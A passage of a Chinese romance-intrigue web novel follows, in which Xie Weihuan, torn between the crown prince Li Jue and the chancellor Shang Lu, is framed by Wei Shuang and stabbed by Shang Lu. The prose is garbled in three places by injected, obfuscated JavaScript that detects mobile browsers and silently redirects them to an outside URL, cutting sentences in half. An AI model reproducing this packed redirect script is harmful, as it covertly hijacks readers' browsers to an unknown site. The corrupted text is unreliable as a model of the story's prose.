魏霜落在半空中的那双手,悻悻缩回,尴尬笑着,“相爷没事就好。” 一旁竖着耳朵的谢为欢听闻商陆无事,总算是放下心来,慢慢吐出口气,走向李珏轻声呼唤,“殿下?殿下快醒醒?” 然,眼前的李珏未动。 徐澈焦急地搓着双手,眉毛几乎要拧到一处,“哎呦,快去请太医!请太医!太子殿下您可千万别出事,您要是出事了,我们有十个脑袋也不够砍的!” “先将殿下扶进去!”谢为欢吩咐道。 太子受伤,众人也慌乱了起来,听完谢为欢的吩咐,他们这才连忙扶着李珏入了帐内,轻轻放在软榻上。 只有商陆一人面若冰雕,转身回了自己的帐内,并未来瞧李珏一眼。 徐澈焦急踱步,“这好端端的怎么就受了伤!” 谢为欢望着榻上的李珏,额角上有着明显磕伤,还带着血迹。 她不禁于心中想着,李珏同商陆一同前去狩猎,又一同回来,不过一个是站着,一个躺着,会不会是…… 思此,她摇了摇头,打消脑海中的这一念头,她怎能怀疑商陆? 不过片刻后,太医急急赶来,将李珏仔仔细细从里到外察看了一遍,“回徐公子,殿下只是头磕伤才导致昏迷不醒,身子并无大碍,今夜好好歇息,明日就会醒来。” “太好了,殿下无事!”徐澈才长叹口气,如释重负,“既然殿下要好好休息,人多在此不便,劳烦谢奉仪留在此处照顾殿下。” 话音刚落,徐澈领着太医和众人退下,只留下谢为欢一人留在殿中。 折腾到此时,天色已然暗去。 帐内烛火微微摇曳,她拿着帕子轻轻擦拭着李珏额头上的血迹。 他长得同商陆一样,若是单单这么瞧着,都是清冷贵公子那般让人难以接近,可惜面不似心,这李珏偏偏是一个热情似火的。 有时她甚至觉得那些深情来的不切实际。毕竟她从未尝过被人偏爱的滋味。 接着谢为欢又擦拭起男人的手,一点一点,小心翼翼,擦到手心时,谁料李珏忽地握住她的手,眼尾落下几滴泪水滑落至锦枕,哀求道: “不要离开孤,求你不要离开孤。” “求你,求你……” 她回握住他的手,安慰道:“妾不离开殿下,殿下,妾永远在殿下身侧。” 眼前的李珏似受到安抚,渐渐稳定下来,攥着她的手也缓缓松开,却满是冷汗。 他竟是如此害怕她离开。 谢为欢忽觉酸涩,像是有一股麻绳在拧她的心。他明明是太子殿下,要什么女人没有,偏偏喜欢她,一个死对头送来的女人。 她不信李珏从来没有怀疑过,不过为何还会对她如此好。 “殿下,您为何要对妾如此好。” 若是日后她为了商陆伤害李珏,辜负他的爱……到时该如何面对他这份真情? 耳畔传来李珏均匀的呼吸声,谢为欢一时不知如何去面对他,只好将手中的帕子放在一旁,失落走出帐外。 掀起帐帘,清冷的月光洒在身上,她伸出手想去感受月光,却始终得不到任何东西,只有一片清凉。 谁料就在她刚迈出帐外没几步,重楼忽地出现在她身侧,拦住她的去路。 重楼神色焦急,“姑娘冒犯了,相爷受了伤,还请姑娘快快随我前去。” 闻此言,谢为欢心下一颤,商陆竟真的受了伤。 然,就在刚迈出步子时,她却想到了什么,缩了缩指尖,“我…我去有什么用?重楼,你怕不是找错人了?他身侧有魏姑娘。” 如今商陆身侧有魏姑娘,那是他日后要明媒正娶的夫人。 她这一句说的很轻,落在重楼耳中倒像是女儿家之间的吃醋。 重楼面露苦色,无奈道:“姑娘,相爷你还不了解,这么多年他哪次受伤不是你服侍的?那魏家姑娘是生人,相爷怎会允许她靠近?早就被赶出去了。” “赶出去了?”她知商陆性子异于常人,但瞧着魏霜在他心中应有所不同,怎也会被赶出去? 重楼方才的话不假,往日在相府时商陆每次受伤都是由谢为欢亲手服侍照料,衣食住行,样样不得马虎,直到男人的伤完全好,她才放下心来。 “相爷伤得可重?”谢为欢挑眉问道。 “重,姑娘!相爷伤得很重,胸口的伤,有……”重楼拿起用剑柄比划了一下,“有这么长。” 足足有两寸。 谢为欢睫毛颤了颤,双手不自觉揪起衣角,满眼担忧,“什么?” 相爷竟受了如此严重的伤,还不让人上药?谢为欢不敢耽误,快着步子跟重楼跑到了商陆的帐内,他引着谢为欢悄悄进入。 入帐后,只见男人坐在榻上,上身裸露,自己在上药,胸口处那道伤疤虽不如重楼说的那么严重,却也是足足有一寸长。 重楼:“相爷!” 商陆似不满被打扰,不悦抬眼,“何事?” 男人抬头,狭长的眸子朝他们望来,商陆的眼神在看到谢为欢时明显顿了顿。 “相爷,谢姑娘……” “多事。” 商陆冷冷扫了一眼后,继续低头包扎着自己的伤口,毫无别的情绪。 重楼附在谢为欢耳畔,小声嘀咕:“姑娘,相爷这里就交给你了。” 谢为欢点了点头,在重楼退下后,她快着步子靠近商陆,“相爷,让欢儿为您包扎可好?” 烛火忽明忽暗,男人未作出任何回应,也未瞧她一眼。 如此,谢为欢就候在一侧,等待商陆的吩咐,她不敢抬眼,只好望着那烛火一点点燃烧…… 良久后,耳畔终于传来男人熟悉的话音,“你怎不去照顾李珏,来了我这?” 男人的声音很冷很冷,说起李珏二字时,他手上用力过重,不小心扯到伤口,吃痛微皱眉头。 瞧此,谢为欢心下一颤,顾不得其他的,只俯身上前,抢过他手中的纱布。 “欢儿得知相爷受伤,内心担忧,特赶来照顾相爷。” “担忧?”商陆轻笑一声,他没有拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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然,男人的手并未松开,反而力道更重了几分,眸子里满是狠厉的光,“你要替李珏向我鸣不平么?” 手腕处传来的剧烈疼痛,使得谢为欢的肩膀轻轻颤抖,眼里酝着晶莹的泪。 她紧紧咬住下唇,“不…欢儿是相爷的人,什么事都信相爷。” “谢为欢,你是对李珏动了真情?” “为了他,要背叛我么?” 男人的质问来得突然,谢为欢一时无措,只摇着头,“不,欢儿不会背叛相爷。” 商陆死死盯着她的眸子,顺势将她拽至榻上,伸出手掀开她的衣袖,露出那段皓月般的手腕,还有上面那枚鲜红的守宫砂。 格外刺眼。 见此,商陆的情绪平复了几分,松开她的手腕,微微眯起眼,“他竟还不碰你。” “还真是专一,痴情。” 谢为欢不懂男人话里的意思,只当是他因为自己至今未拿下李珏而失望。 她伏在地上求饶道:“相爷放心,欢儿一定会尽力引诱李珏,让他死心塌地,欢儿能感觉到,他迟早会碰我的。” 商陆眉心突突一跳,握拳咳了几声,“出去!” 他的声音冷得像是淬了冰。 谢为欢不敢再说什么,只好拢了拢纱衣快步退了出去。 …… 然,就在所有人不注意的角落里,魏霜望着谢为欢离去的背影,眼底凝压着恨意。 她本想着再尽力一试,留在商陆身侧照顾,却没想到亲眼瞧见谢为欢进入,良久后,又衣衫不整地跑出来。 她也是女人,有时女人往往最懂女人,她看得出来谢为欢瞧商陆的眼神蓄满了真情,即使她在多加掩饰。 思此,她攥着拳头,不管是谁,只要是同她抢男人。 她倒是要瞧瞧看,谁能斗得过谁。 18.第 18 章 夏日凉夜,月光细细碎碎洒在一旁的树枝上,夜风轻拂,树影婆娑,惊醒几只夏蝉,叫声清溽暑意。 谢为欢被商陆赶出帐后,压根不知自己到底是哪里做错惹怒了他,不禁在心中猜测难道是她至今还未获得李珏真正的宠爱和信任,商陆觉得她是无用之人? 她眼神黯淡下去无奈叹了口气,看来日后要更加努力,让李珏彻底相信于她。 思虑片刻后,她将眸底的失意遮掩过去,快步回到了李珏的帐内。 往日她受伤都是李珏照顾,如今他受了伤,她自是要好好照顾他。 望着李珏,谢为欢不敢入睡,只是伏在他身侧。 案前的烛火燃了一根又一根,直至旭日方升,谢为欢为了照顾李珏一夜未阖眼。 一缕光透过合窗映照在软榻,谢为欢方才知晓已至次日。 然,就在谢为欢刚要转过身拿湿帕擦拭李珏额间的薄汗,却没想到榻上的李珏咳了几声,醒过来拽住她的衣袖。 “欢儿……” 男人细弱的呼唤声传来,她登时回过头,眼神微微一动,藏着若隐若现的欣喜,“殿下……您终于醒了。” 她伸出手扶着李珏坐起身,“殿下,您渴不渴?” 李珏盯着谢为欢不语,只是点头,眼前少女脸色苍白,虚弱至极,看起来是一夜未眠,一股无名的心疼自心底翻涌而来。 谢为欢见李珏点头,知他口渴,立即跑到案前倒了盏茶水,小心翼翼送到他嘴边,温柔道:“来,殿下喝水。” 她的动作很轻,出于愧疚,以至于她对待男人小心翼翼的。 李珏抬起眼,哑声问道:“欢儿为了照顾孤,可是一夜未睡?” “这都是妾应该做的,殿下。” 这次她并非出于刻意勾引,只是为了报答李珏在她受伤之后多次的细心照料。 李珏握住她的手,唇瓣用力抿了抿,“欢儿,你如此做,孤会心疼你的。” “殿下……” 谢为欢低垂下眼,心中有一股暖流袭来,这还是第一次有人对她说,心疼。 她居然也会有人心疼。 “殿下可还有哪里不舒服?” “没,孤有欢儿照顾,哪里都很好。”李珏摇了摇头,“欢儿,你扶着孤,耽搁许久,该回府了。” “殿下,您是如何受伤的?”谢为欢抿抿唇,将心中疑惑表达的恰到好处,她想知道李珏到底是如何受的伤。 李珏笑了笑,表情变得尴尬起来,“这…都怪孤急功,想着多猎一些猎物,一时没了分寸,竟走到了林中深处,却不料遇到了猛兽,以孤一人之力,无法抵抗,若不是遇到商丞相,孤可能要命丧黄泉了。” “说起此事,孤倒是要好好谢谢商丞相救命之恩。” 闻言,谢为欢睫羽轻颤,原来是商陆救了李珏,她竟还怀疑过是商陆对李珏做了什么。 一番叙话后,谢为欢扶着李珏走出帐内,或许是一夜未眠的缘故,她竟觉得帐外的光格外刺眼,缓了好一会才彻底睁开眼,瞧清眼前的景物。 行了几步,恰迎面遇到商陆同魏霜,两人恭谨行礼起身后,商陆的眼神先是落在谢为欢身上,瞟了几眼后,才对上李珏的视线,眼神中透露着几分漫不经心,“不知殿下的伤如何了?” 李珏:“多谢丞相昨日救命之恩。” 商陆微微行礼,“臣救殿下乃是臣的职责,殿下无事就好。” 话音刚落,他微微侧头看向谢为欢,“还好殿下无事,能替臣证明清白,否则某人还怀疑是臣害了殿下,要跟臣拼命。” 谢为欢眨了眨眼,扶在李珏身上的手不自觉一颤,随即面上涨得通红,她听得出商陆的弦外之音,这明显是在说她…… “哈哈哈,商丞相说笑了,你是孤的救命恩人,谁敢非议你,孤要治他的罪!”李珏拍了拍商陆的肩膀。 商陆略略一点头,眼神淡漠得没有一点情绪,“殿下,臣已为您备了送殿下回府车马,这边请。” “商丞相有心了。”李珏点头,回身牵起谢为欢的手,“欢儿,我们回府吧。” “好。”谢为欢未抬眼瞧商陆一眼,插肩而过时,她垂在身侧的手掠过男人的衣袖,余光瞥见他随风扬起月白色的袖袍。 落在她眼中,挥抹不去。 不过片刻后,谢为欢同李珏坐上了回府的车舆。轻风扬起帷裳,她亲眼瞧见魏霜贴向商陆,如同一只撒娇的小猫,下一时那魏霜竟踮起脚尖靠向男人。 车帘垂下,遮住眼前的人。 不过不用想也能猜到眼前的两人姿势暧昧,魏霜定是亲了商陆。 谢为欢在角落里暗暗捏紧手指,这一刻仿佛被冰水从头到脚浇透。 商陆啊,终究会娶别人为妻,看起来他十分喜欢魏霜。 *** 回到太子府后,李珏耍起了小性子,非闹着要谢为欢搬到正殿去贴身照顾他。 她拗不过,只好顺了男人的意,同他一起入了正殿,两人同吃同住。 这一住便是一个月,李珏同她的事在京城中也传出一些风言风语,褒贬不一,而李珏却从不在乎他人的议论。 转眼间一个月的时间过去,时至大暑。 皇家一年一次的避暑也开始着手准备,此前因着李珏受伤,已推迟半月有余。 如今李珏伤好,去避暑行宫一事也安排上日程。 三日后,谢为欢同半夏做上了李珏为她准备前往行宫的车舆。 只见车内应有尽有,连着坐垫都是上好的,吃食糕点都是她喜欢的。 “姑娘,这殿下真贴心,怕您舟车劳顿,准备的东西都是极好的。”半夏掩面笑着,“殿下他啊还吩咐奴婢好好照顾您,生怕您有不满意的地方。” 谢为欢的唇角情不自禁弯起,这还是她还是第一次受到一个人的重视,即使李珏要伴着帝后,也惦念着她的一切,细致入微。 李珏太过于呵护,让她不知道如何偿还。心里的愧疚越发积攒,到最后满是良心不安。 …… 至夕时,众人才至行宫。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240343|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢为欢在半夏的搀扶下,走出了车舆,向前方望去,只见帝后身后跟着一众大臣。 她也瞧见了人群之中李珏和商陆同皇帝交谈,一派云淡风清,她多加留意了几眼商陆。 然,就在谢为欢收回视线转身要回寝殿时,却不料遇上了魏霜,她刚要当做自己并未瞧见,拉着身后的半夏要走。 “谢姑娘!你要去做什么?不如同我们一起去瞧瞧这行宫的景色如何?”魏霜很是热情地迎上来,拉住她的手。 “我……” 谢为欢还未来得及拒绝,就被魏霜拉着向一旁走去。 这时谢为欢才瞧到身后的一众贵女们,围在一起唧唧咋咋地谈论着什么,其中还有那日在太子府无缘无故打她的安阳郡主,李珏来日的太子妃。 看到谢为欢的身影后,安阳郡主摇了摇手中的团扇,转喜为怒,嘟起嘴不满道:“魏姐姐你叫她做什么?勾引人的狐媚子。” “安阳妹妹,人多热闹,何况这谢姑娘又是个好性子的,你们之间有什么误会也都好好说说。”魏霜笑着好言相劝道。 安阳郡主性子直率,她所讨厌的人从来都是表现在面子上,丝毫不会掩饰。 说安阳郡主是表里如一,那魏霜便是笑面虎,情绪都藏在心中,心思高深莫测。 每次谢为欢靠近都能感受到魏霜扑面而来的危险气息,即使是热情落入谢为欢眼中却也有种说不上来的敌意。 与安阳郡主那明晃晃的敌意不同,这魏霜眼中蕴着她看不透的情绪。 “魏姑娘,既如此我就先回寝殿了,舟车劳顿,确有些累了。”谢为欢拒绝道。 魏霜难舍难分松开了她的手,嘴角若有若无勾起一抹哭笑,失望道:“那可惜了,不能与谢奉仪共赏美景。” 谢为欢扯了扯嘴角,“改日有机会一定。” 言罢,她赶忙拉着身后的半夏快步离去。 …… 魏霜望着谢为欢离去的背影,冷笑一声,眼神变得狠厉起来。 她又转身上前拉住安阳郡主的手,“好妹妹,你是不是也讨厌她?” 安阳郡主愣了愣,她没想到眼前的魏霜变脸变得如此之快,那眼底透露的寒意竟也让她心里一恸,磕磕绊绊道:“我……我是讨厌她。” 魏霜捂嘴笑道:“好妹妹,既然你我都是讨厌那谢为欢,不如我们联起手来给她点颜色瞧瞧?” “我们…怎么联手给她教训?”安阳郡主挑眉问道。 魏霜渐渐靠近附在她耳侧,悄悄说了几句。 “这……这能行么?”安阳郡主登时脸色大变,她平日里虽是嚣张跋扈,眼睛里不揉沙子,可都是明面上对质,哪背地里害过人呢? “好妹妹,咱们只是给她一个教训,又不是真的要害她。”魏霜拍了拍安阳郡主的手,“你可别忘了,太子殿下可是被她勾得言听计从,我还听说殿下要退婚娶她呢。” 安阳郡主一听李珏要退婚,脸色大变,心中的怒火涌上心头,下定决心道:“好!魏姐姐,我助你行事!” 19.第 19 章 月至中天,朦胧的月光自窗间洒落桌案。避暑行宫的夜里比京城清凉许多,夜风吹来,无比舒适,倒是让人觉得越发困倦。 谢为欢倚在罗汉床上瞧着话本,这都是李珏寻来为她解闷的,他事事周到,有时甚至比女儿家的心思更细腻些。 一个时辰前还派人来告知谢为欢他今夜留在皇后处用膳,晚时回来。 下一时,推门声自耳畔响起,谢为欢轻轻抬眸望去,只见半夏皱着眉头走上前来,双手背着,似乎藏着什么东西。 “半夏,你身后藏了什么东西?”她心中感触古怪,放下手中的话本问道。 一语落,半夏先是一愣,而后目光闪烁,支支吾吾道:“姑娘…方才有个婢女交给奴婢一封信,说是…相爷给的,姑娘一看便知。” “相爷?”谢为欢睫毛颤一下,商陆此时送信,定是有急事相告,“快呈上来。” “是……” 是以,谢为欢急着接过半夏手中的信,映着烛火,她打开信封仔细瞧了瞧,那信上确确实实是商陆的字迹。 信上约她戍时太夜池边相见,商议要事,务必亲自前来。 她伸出手摸索着信,是商陆平时用的宣纸,可怎么总觉得哪不对? “姑娘,这信上……”半夏出言询问,可又觉得此事自己不该过问,她默了默低下头,不再开口。 桌案上的信被风卷起一角,沙沙作响。 “没什么半夏。”谢为欢压下案上的信,“半夏,殿下那边今夜还回来么?” 半夏:“回姑娘,殿下方才又派了人来说,今夜留在了皇后娘娘那里。” 谢为欢点了点头,接着将信放在案前蜡烛上点燃。 那封信在半空中燃烧起来,她的眸中映着点点火焰,直至烧成灰烬。 “半夏,眼下是什么时辰了?” “回姑娘,酉时三刻。” 谢为欢听着眼下已快至商陆约好的时辰,赶紧起身戴上面纱,匆忙出门,临别时她吩咐道:“半夏,我走后你将烛火吹灭,不管谁来了,只告诉他我已脱衣安寝。” “切记,不能让任何人进来。” 半夏知此事马虎不得,稍有不慎她家姑娘会陷入险境,而她绝对不能在关键时刻掉链子,她咬着牙郑重其事道:“是,姑娘放心。” 一番嘱托后,谢为欢终于放心悄悄沿着行宫小路走去。 夜晚凉风吹起她脚边的纱裙,行得急了些,溅起地上的污泥,弄脏了裙边和鞋袜。 不过片刻后,绕过一座假山,来到了太夜池边,她开始四处张望着寻找商陆的身影。 终于在一侧瞧见了披着月白色的衣袍的人影,她没有多想,径直走上前去,行礼道:“相爷……” 然,身前人微微一动,传来的却是一股子极为浓烈的胭脂味,而非苦茶的陈香。 她这才抬起头望向身前人,怎料衣袍揭下,眼前人竟是魏霜。 “怎么是你?”谢为欢下意识后撤几步,目光微微一顿,她怎么也没想到来人是魏霜! 只见眼前的魏霜低头嗤笑了一声,“怎么谢姑娘看到来人是我而非相爷,很失望?” 她眼神犀利,嘴角噙着一抹嘲讽的笑,那神情如同恶鬼一般,似要将她撕碎。 谢为欢不由地蜷了蜷手指,稳住心中的慌乱,“不知魏姑娘此言何意,若是无事我就先走了,不打扰魏姑娘。” 风肆意拨弄着她的发丝,扰乱心神。 眼前的魏霜同之前很不一样,尤是在商陆面前是乖顺的兔子,而今就如同一匹要吃人的恶狼,看向她的眼神满是仇恨。 她知此地不能久留,再纠缠下次,定会发生意外。 然,就在谢为欢刚要转身离开时,魏霜忽地挡在她身前,拦住她的去路,“谢姑娘急着走什么?我们两人有缘,要好好叙叙旧。” 她句句咄咄逼人。 谢为欢后撤一步远离魏霜的逼近。 然,她后退一步,魏霜却靠近一步,直到退到退无可退的地步,她双手扶在池边围栏。 “你到底要做什么?” “我要做什么?”魏霜如同疯魔一般,猛地攥住她的手腕。 “你放开我!”她挣扎着。 “谢为欢,我知你喜欢相爷!身为太子姬妾,心里却装着别的男人。”魏霜眼角轻挑,“这太子殿下知道么?” “你为何还要纠缠相爷不放?你对于她来说根本毫无用处,就是一个绊脚石!” “我今日定要替相爷除去你!” 她的眸子越来越可怖,唇角那抹诡异的笑让人不寒而栗。 “魏霜,你放开我!” 然,就在谢为欢以为她要被眼前人推入池中时,却没想到魏霜手腕一转,两人位置对调,魏霜向后跌去,落入池中。 她一时愣住,只见魏霜落入池中挣扎,嘴里还大喊着。 这时,不知从何处冒出来安阳郡主和十多个婢女,看到魏霜落水,开始大喊大叫。 “快来人!谢奉仪将魏姑娘推入池中了!” “快来人!快来人!快救人!” 谢为欢心头突地一跳,知道自己已然是中计了。一时之间,她走也不是,不走也不是,站在一旁看着池中的魏霜。 这罪名就被他们硬生生扣在了头上。 然,就在此时,一道熟悉的身影从假山处疾步行来,谢为欢抬眸望去,见是商陆急急赶来。 男人望向水中的魏霜一眼,又瞥向她。 他的眉眼之间满是怒气,似乎已在心中定了她的罪。 “相爷…”谢为欢嘴角微微抽动,轻轻开口唤出这一句,也只有这一句。 商陆未应她,只转身跳入池中游向魏霜,将她救起。 水滴顺着两人的衣物滴答滴答流下,魏霜蜷缩在商陆怀中,紧紧贴在他的胸膛,如一只受伤的小猫。 上岸后,商陆将魏霜轻轻放下,罩上他月白色的衣袍。 “相爷……多谢相爷相救,不然霜儿就要溺死在这池中。”魏霜的眼中闪着泪光,双肩轻耸,哭得楚楚可怜,“谢姑娘,我从未得罪过你,你为何要害我?” “我……” 她话还未说完,一旁的安阳郡主快步上前死死拉住她的手,“你这个杀人凶手!还不快跪下认错!” 谢为欢用力挣脱开安阳郡主的束缚,望向商陆,解释道:“相爷,我没有害魏姑娘,是她自己跳入池中的。” 商陆未语,淡淡看向谢为欢,眼神中带着审视,“她自己跳的?” 魏霜拽住商陆的袖袍,哭得梨花带雨,“相爷莫要听她说胡话,难道我自己想杀自己?相爷…求您为霜儿作主!” 商陆微微侧头,眼里只有一贯的清冷和漠然,“是不是你推的?” 男人的话问出,他已经开始怀疑她。 商陆在怀疑她。 谢为欢一时之间仿若失去所有力气,清冷的月光落在男人的脸上,她看不透他在想什么,更觉得他甚为陌生。 他这是要她承认么? 安阳郡主再次出言,“相爷,我看到了就是谢为欢将魏姐姐推入湖中的!对,不止我一个人,还有身后的婢女们,他们都可以作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245775|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 证。” 商陆转头对着身后婢女问道:“你们都瞧见了?” “回相爷的话,瞧见了。” 商陆一双狭长的凤眸微挑,“你还有何辩解?” 男人阴沉着脸看她,眼底覆上一层骇人的冰霜。 “不是的相爷,我未曾害她!”谢为欢摇着头,她不信商陆会因为他人的话而定了她的罪。 “跪下。”耳畔传来男人冷冷的声音。 谢为欢听着商陆的话跪在地上,“相爷,我未曾做过的事,我不会认,我没有推她,没有就是没有!” 没有做过的事,她不会认。 商陆抬步靠近,俯下身用力捏住她的下颌,冷冷道:“可他们都瞧见了,你如何证明自己的清白?要我如何信你?” 谢为欢攥紧了垂在身侧的手指,艰难发出声音,“那…是他们诬陷……” 商陆松开她的下颌,“你好大的胆子。” “相爷,我没推她,求您信我,求您……”她拽住商陆的衣角,哀求的声音很小,很小,止不住颤抖,“求您……信我。” 求您……信我。 她只想要男人的相信。 她从不在乎那群婢女的诬陷,只想让商陆相信她。 十年的陪伴,如若无半点信任。 她将失去所有…… 商陆站在月色下,更衬其清冷,“要我信你?拿出证据。” 谢为欢眼中希冀一点点消失,她很想说出是因为看到商陆的信才来此处,可眼下那封信已被她烧毁。 哪里还有什么证据自证清白? 然,就在这时,重楼急急跑到商陆身侧,附在他耳畔说了什么。 商陆的脸色骤然冷了下来,目光短暂停留在谢为欢身上几瞬。 下一时,他竟抽出重楼身侧的佩剑步步逼近她。 见此,谢为欢如同一只受了惊吓的鸟儿不知向何处躲去。 她没有看错。 眼前的商陆正执剑向她走来。 难道他要为了魏霜杀了她么? 她吓得连连后退,眼前开始变得模糊不清,迷茫而无助,“相爷……您要杀我么?” “…我从未做过此事。” 商陆望向眼前的少女,眼神恍惚了一瞬,她满眼惊恐,乞求着他的相信。 然,他眼神一沉,似乎已作出决定,攥紧手中的剑, “你不该伤她。” “既然百口莫辩,此罪你必承下。” 谢为欢亲眼看着商陆手中的剑刺入自己的心口,先是听到刀剑入体的声响,而后那疼痛从心口蔓延至全身,身体忍不住颤抖,仿若有无数根针扎在她的心脏,窒息而无力。 商陆要杀她。 疼,很疼,疼得喘不过气。 而她已分不清到底是何处的疼。 她捏紧手指,“相爷……” 一旁魏霜和安阳郡主等人似是没想到商陆居然能用剑刺伤谢为欢,见此场面皆吓得大叫了起来。 “是你应得的。”商陆紧紧攥着拳头,转身未再看她一眼,转头走向魏霜将她抱在怀中。 只留给谢为欢一个冷漠的背影。 “相爷,求您信我……”她虚弱地喘息着,艰难发出声音。 就在谢为欢因伤口剧烈疼痛而倒在地上时,身后突地出现一双手臂将她揽入怀中。 耳畔传来另一个男人的呼唤, “欢儿!欢儿,你醒醒!” “商陆,你这么做她会死的!” 商陆突地脚上一顿,“她的生死,于我何干?” 20.第 20 章 谢为欢全身的力气一瞬间被抽空,从头冷到脚,再到最后意识逐渐模糊。 她好像要死了… 被商陆杀死了… 意识弥留之际,她只知道有人在呼唤,哀求她不要闭眼,而那人似乎抱着她跑了很久很久。 风声呼啸在耳畔,却如同冷刀子扎在她的心口,最终她仿若一片落叶,飘零在半空,打转…… 这一阖眼她做了一个梦,她回到了六岁那年差点要了她命的那场大雨之中,无情的雨水落在她身上,无处可去,只能倒在地上,等待死亡的降临。 而就在她绝望之时,商陆撑着柄油纸伞出现在她身前。 男人气势凛然,一双凤眸俯瞰世间一切,她甚至很想问,他是不是天上的仙人。 忽地思绪抽离,她成了旁观者,站在一旁看着幼时的谢为欢颤巍巍抬眸望着商陆,伸出那双冰凉的小手,眼神充满渴望,祈盼男人的收留。 她要去阻止么? 如若再给她一次选择的机会,她还愿意同商陆走么? 她愿意么? 就在这时,商陆的手牵起小小的谢为欢。 “不要!不要同他走。”她对着小小的谢为欢喊道。 一语打破眼前的寂静,商陆忽地转身看向她,那眼神从温柔,变成冷漠,再到充满杀机。 她没看错,那眼神之中满是杀气。 只因她不听话,没有顺男人的意,他便要她死。 只见眼前的商陆一步步向她逼近,手中不知何时多了柄剑,而他身侧小小的谢为欢早已变成了魏霜的模样。 魏霜嘲讽笑着,说她只不过是商陆身侧一个可以随时舍弃的棋子。 她不自觉后撤几步,声音微颤,“相爷…您真的要杀我么?” 然,眼前的商陆没有什么情绪,侧头瞧了一眼楚楚可怜的魏霜,又看向她,冷冷道:“不听话的棋子,该杀。” 谢为欢的双手不自觉颤抖着,泪水肆无忌惮地滑落。 她该死啊。 下一瞬,商陆执剑刺向她。 谢为欢用仅剩的余力抬眼看向商陆,想看看男人会不会有一丝心疼。 哪怕只有一丝一毫。 然,什么都没有,冷冷的,淡淡的。 似乎她死了,男人也不会为她而感到难过。 她一瞬间如同坠入冰湖,眼前的一切渐渐消失,只剩下窒息。 …… “孤问你们,她何时能醒!到底何时能醒!”李珏神色冷峻,将桌案上的茶盏尽数扔在地上,他已经守了谢为欢一天一夜,可榻上的人没有一点苏醒的痕迹。 太医们惶恐跪在地上求饶道:“殿下饶命,谢奉仪这剑伤只离心口半寸,若非及时救治,恐早丢了性命。” “臣也难以保证谢奉仪…何时会醒,到底能不能醒……” “你们这帮庸医,都给孤滚!滚!”李珏恼羞成怒踢了面前的太医几脚。 他极少动怒,而此时却因着急而自乱阵脚。 太医们退下,周遭恢复寂静,只能听到李珏的喘息声,他坐在谢为欢身侧,握住她的手。 榻上的少女呼吸微弱,因失血过多而面色苍白,眉头紧紧皱着,满是不安。 若不是尚存理智,他恨不得现在就冲过去,替少女刺还商陆一剑。 “欢儿,孤不能再失去你。” 烛火不知在何时熄灭,黑夜之中,李珏眼角滑落的那滴泪落在谢为欢的手心处。 那滴泪在月光的映照下,晶莹剔透,混杂了所有的情绪。 …… 谢为欢醒来已是两日后的午时,她睁眼瞧见了守在她身侧昏昏欲睡的李珏。 她想伸出手触碰对方,不料仅仅是微微动了动指尖,心口处那撕心裂肺的疼痛瞬间蔓延全身。 从心底往外的疼。 疼得她不禁轻轻嗯声,捏紧了手指。 而眼前的李珏似感知到谢为欢的动作,登时惊醒,瞧见她已醒来,目光猛地一亮,“欢儿…你终于醒了。” 谢为欢听闻李珏口中的终于二字,她就知道自己应是昏迷了许久。 “殿下,妾睡了多久?”她垂下眼问道。 “两天两夜,孤都快急疯了。”李珏将她凌乱的发丝轻柔绾在耳后,“欢儿,你可知仅差半寸,孤就要永远失去你。” “只半寸……”谢为欢的眼睫颤了颤,她以为至少商陆不信她,也不会要她的命,而眼下却得知原来她差点被他杀死。 为了魏霜,而杀她。 “欢儿想吃什么?孤去给你取来。”李珏揉了揉她的头,“别想其他的,只要有孤在,谁都不能欺负你。” 男人的话很温柔,如同枯萎的花朵遇到珍贵的雨露,落在她的心田,有种说不出的滋味儿。 她强忍住眼中的泪水,“殿下,妾想吃桂花糕了。” 甜甜的糕点,来抵消她心中的苦涩。 她委屈商陆不信她,对她没有丝毫怜悯。 “好,孤去给欢儿亲自取来。” 待李珏走后,谢为欢强忍着伤口的疼痛,费力支起身子,下榻后随手披了件外衣罩在身上。 躺得久了,连脚下的步子都显得虚浮无力,每迈一步都很是吃力。 推开房门,她顺着回廊走向商陆的殿中,她只想知道商陆为何要伤她,她要问清楚。 片刻后,她行至商陆屋外,就在她刚要敲门时,耳畔传来娇滴滴的声音。 一听就知道是魏霜,谢为欢好奇附耳倾听。 “相爷,霜儿从未惹过谢姑娘,不知她为何要害我。” 魏霜的声音带着哭腔,她在同商陆诉说委屈。 “嗯…是她的错。” “多谢相爷为霜儿讨回公道,不过我记得谢姑娘好像也是相府出身……”魏霜的话。适时停顿,似在试探商陆。 谢为欢心下一紧,她也想知道商陆是如何想的。 下一时,屋内传来男人毫无情绪的话语,“她怎配与你相比。” “伤你的人,我自会让她付出代价。” 男人的话像是钩爪划破她的心,千次,万次。所以他只会相信魏霜,甚至可以不分青红皂白。 那她呢? 谢为欢忽觉有些站不稳,不自觉后退几步,得到了商陆的答案,她失魂落魄走回殿内。 路上遇到了不少婢女,他们看向她的眼神带着鄙夷与疑惑。 虽是在小声嘀咕,而其中却总有那么两个人喜欢落井下石,故意抬高声音。 “你们快瞧,这不是那个狠毒的谢奉仪!” “她竟还要害丞相大人未来的夫人,不知天高地厚,怎么如此恶毒?” 